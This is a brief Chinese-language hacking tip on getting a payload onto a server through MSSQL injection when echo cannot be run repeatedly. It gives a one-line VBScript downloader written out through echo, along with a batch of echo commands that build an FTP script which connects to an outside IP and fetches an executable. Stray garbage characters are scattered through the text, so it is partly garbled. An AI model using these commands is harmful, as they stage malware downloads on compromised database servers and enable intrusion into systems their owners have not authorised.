mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
4 ^& u; M8 s' Q, m: I% m在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

. n& g" S4 A' {Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

! j0 C0 b6 p- C) a* \这样我们可以一次echo成功,echo版本:

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
4 l& g$ R% N) D5 g

" g6 `- _6 l% D1 ^- B2.bat调用ftp脚本的写法(by envymask)

echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
  c+ g7 E$ O- {6 R0 R$ Recho u&gt;3.vbs
3 ~& F" q- L+ ~9 F5 O3 o6 |echo s&gt;4.vbs
echo binary&gt;5.vbs
8 Y/ {4 e7 [2 e1 becho get 1.exe&gt;6.vbs
" V4 _6 d, M6 X" j2 S3 e: `/ k  becho bay&gt;7.vbs

, {4 J$ L6 o- l6 n4 J) Hcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>